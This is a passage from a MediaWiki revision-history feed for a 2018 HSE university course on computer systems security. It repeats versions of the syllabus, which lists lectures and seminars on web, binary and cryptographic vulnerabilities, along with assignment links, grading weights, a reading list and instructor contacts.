[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31373</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31373"/>
		<updated>2018-12-18T11:25:11Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [https://drive.google.com/file/d/1aWJog7iPfwAzGifK8CV9HDKG2tXaxPwG Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [https://drive.google.com/file/d/1mFal2MBiiYOMFR1HolwzQq3zxvD0tP40 Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31130</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31130"/>
		<updated>2018-12-04T10:45:39Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31117</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31117"/>
		<updated>2018-12-03T20:09:36Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30747</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30747"/>
		<updated>2018-11-14T18:45:05Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
